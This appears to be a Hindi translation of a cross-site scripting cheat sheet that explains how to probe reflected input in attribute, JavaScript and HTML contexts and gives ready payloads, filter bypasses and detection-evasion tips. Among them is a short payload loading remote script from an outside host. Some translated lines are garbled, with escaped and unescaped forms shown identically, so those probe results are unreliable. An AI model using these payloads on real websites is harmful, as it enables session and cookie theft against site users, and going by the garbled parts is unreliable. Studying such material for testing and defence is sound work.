यदि इसमें से कुछ भी काम नहीं करता है, तो अद्भुत बायपासिंग अनुभाग देखें
सबसे पहले, एक गैर-दुर्भावनापूर्ण स्ट्रिंग दर्ज करें जैसे d3v और स्रोत कोड देखकर प्रतिबिंबों की संख्या और संदर्भों का अंदाजा लगाएं।
अब एट्रीब्यूट संदर्भ के लिए, जाँचें कि क्या डबल कोट्स (") को फ़िल्टर किया जा रहा है, x"d3v दर्ज करके। यदि यह x"d3v में बदल जाता है, तो संभावना है कि आउटपुट ठीक से एस्केप हो रहा है। यदि ऐसा होता है, तो सिंगल कोट्स (') के लिए भी ऐसा ही करने का प्रयास करें x'd3v दर्ज करके, यदि यह x' में बदल जाता है, तो आप बर्बाद हैं। एकमात्र चीज़ जो आप आज़मा सकते हैं वह एन्कोडिंग है।
यदि कोट्स फ़िल्टर नहीं किए जा रहे हैं, तो आप बस अद्भुत संदर्भ तोड़ना अनुभाग से पेलोड आज़मा सकते हैं।
जावास्क्रिप्ट संदर्भ के लिए, जाँचें कि कौन से कोट्स का उपयोग किया जा रहा है, उदाहरण के लिए यदि वे कर रहे हैं
root@kitploit:~
variable = 'value' या variable = "value"
अब मान लें कि सिंगल कोट्स (') का उपयोग हो रहा है, तो x'd3v दर्ज करें। यदि यह x\'d3v में बदल जाता है, तो बैकस्लैश () को एस्केप करने का प्रयास करें अपने प्रोब में एक बैकस्लैश जोड़कर यानी x\'d3v. यदि यह काम करता है तो निम्नलिखित पेलोड का उपयोग करें:
root@kitploit:~
\'-alert()//
लेकिन यदि यह x\\\'d3v में बदल जाता है, तो एकमात्र चीज़ जो आप आज़मा सकते हैं वह है स्क्रिप्ट टैग को स्वयं बंद करना:
root@kitploit:~
</script><svg onload=alert()>
सरल HTML संदर्भ के लिए, प्रोब x<d3v है। यदि यह x>d3v में बदल जाता है, तो उचित स्वच्छता मौजूद है। यदि यह ज्यों का त्यों दिखाई देता है, तो संभावित फिल्टर की जांच के लिए एक डमी टैग दर्ज करें। मुझे जो डमी टैग पसंद है वह x<xxx> है। यदि यह किसी भी तरह से हटा या बदला जाता है, तो इसका मतलब है कि फिल्टर < और > की जोड़ी ढूंढ रहा है। इसे आसानी से बायपास किया जा सकता है:
root@kitploit:~
<svg onload=alert()//
या यह (सभी मामलों में काम नहीं करेगा)
root@kitploit:~
<svg onload=alert()
यदि आपके डमी टैग स्रोत कोड में ज्यों के त्यों आते हैं, तो इनमें से किसी भी पेलोड का उपयोग करें:
root@kitploit:~
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
अद्भुत बायपासिंग
नोट: इनमें से कोई भी पेलोड सिंगल (') या डबल कोट्स (") का उपयोग नहीं करता है।
http(s):// को // या /\\ या \\ में छोटा किया जा सकता है।
document.cookie को cookie में छोटा किया जा सकता है। यह अन्य DOM ऑब्जेक्ट पर भी लागू होता है।
अलर्ट और अन्य पॉप-अप फ़ंक्शन को किसी मान की आवश्यकता नहीं है, इसलिए alert('XSS') करना बंद करें और alert() करना शुरू करें।
आप टैग बंद करने के लिए > के बजाय // का उपयोग कर सकते हैं।
मैंने पाया है कि confirm सबसे कम पहचाना जाने वाला पॉप-अप फ़ंक्शन है, इसलिए alert का उपयोग बंद करें।
एट्रीब्यूट मान के आसपास उद्धरण आवश्यक नहीं हैं जब तक कि इसमें स्पेस न हों। आप <script src=//14.rs> का उपयोग कर सकते हैं <script src="//14.rs"> के बजाय।
सबसे छोटा HTML संदर्भ XSS पेलोड <script src=//14.rs> (19 वर्ण) है।
अद्भुत श्रेय
जब तक निर्दिष्ट न किया जाए, सभी पेलोड मेरे द्वारा बनाए गए हैं।